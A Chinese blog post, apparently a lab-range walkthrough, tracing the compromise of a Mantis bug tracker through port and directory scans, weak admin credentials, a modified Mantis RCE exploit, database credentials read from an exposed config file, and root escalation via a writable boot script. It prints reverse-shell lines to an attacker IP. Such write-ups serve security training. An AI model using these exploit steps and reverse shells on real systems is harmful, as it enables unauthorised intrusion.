谁在自称无敌,那个敢言不败|

cha0s32

园龄:2年2个月粉丝:1关注:1

2023-06-01 17:15阅读: 40评论: 2推荐: 0

靶场练习 9

利用的技术

  1. 目录扫描 & 端口扫描

  2. exploit 打 mantis

  3. 敏感信息获取数据库账号密码

  4. 可写目录提权

信息收集

全端口扫描,服务发现

nmap -n -v -p- --max-retries=0 172.16.33.53
nmap -sV -p80,8082,22 172.16.33.53

port:80 8082 22

目录扫描

dirsearch -u 172.16.33.53
dirsearch -u http://172.16.33.53:8082

location:

  • adminer.php
image-20230529153256749
  • cms : adminer 4.7.1?

/Info.php phpmyadmin 页面

/system mantis 页面,针对这个页面继续进行目录扫描

  • mantis 页面会进行认证,尝试弱口令admin/admin,成功登录,看返回包字段看到有authorization字段
dirsearch -u http://172.16.33.53/system

注册了一个新用户

image-20230529153128922

没有要求填写密码,直接注册成功

利用漏洞拿shell

searchsploit mantis # RCE

改exploit 代码,重点是将authorization字段加进去

class exploit():
	def __init__(self):
		self.s = requests.Session()
    self.headers={"Authorization":"Basic YWRtaW46YWRtaW4="} # Initialize the headers dictionary
		self.RHOST = "172.16.33.53" # Victim IP
		self.RPORT = "80" # Victim port
		self.LHOST = "10.8.0.86" # Attacker IP
		self.LPORT = "8086" # Attacker Port
		self.verify_user_id = "1" # User id for the target account
		self.realname = "administrator" # Username to hijack
		self.passwd = "password" # New password after account hijack
		self.mantisLoc = "/system" # Location of mantis in URL
		self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload

运行后成功拿到shell,id一下是最低权限

目录扫描 /system 页面

dirsearch -u http://172.16.33.53/system --header="Authorization:Basic YWRtaW46YWRtaW4="

/system/config

/system/api

打开/config 页面有目录遍历,其中 a.txt 文件中有 数据库敏感信息,尝试登录adminer.php 页面,成功登录,且看到数据库中有用户相关的表,打开查看

# http://172.16.33.53/system/config/a.txt

$g_hostname      = 'localhost';
$g_db_username   = 'mantissuser';
$g_db_password   = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type       = 'mysqli';

image-20230529153200115

因为 test 账户创建时没有要求填写密码,而readname为空

猜测realname为密码,尝试登录tre

image-20230529153422955

成功登录

传一个linpeas上去看看,跑了一下linpeas ,没用

提权

看一下有没有可写权限,且为root运行的文件,看到check-system

image-20230529152239572

写入反弹shell

bash -i >& /dev/tcp/10.8.0.86/6666 0>&1

image-20230529152205480

查询check-system , 该文件为开机时运行,重启一下主机

sudo shutdown -r

提权成功

image-20230529152805744



如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。

本文作者:cha0s32

本文链接:https://www.cnblogs.com/cha0s32/p/17449655.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   cha0s32  阅读(40)  评论(2编辑  收藏  举报
评论
收藏
关注
推荐
深色
回顶
收起
点击右上角即可分享
微信分享提示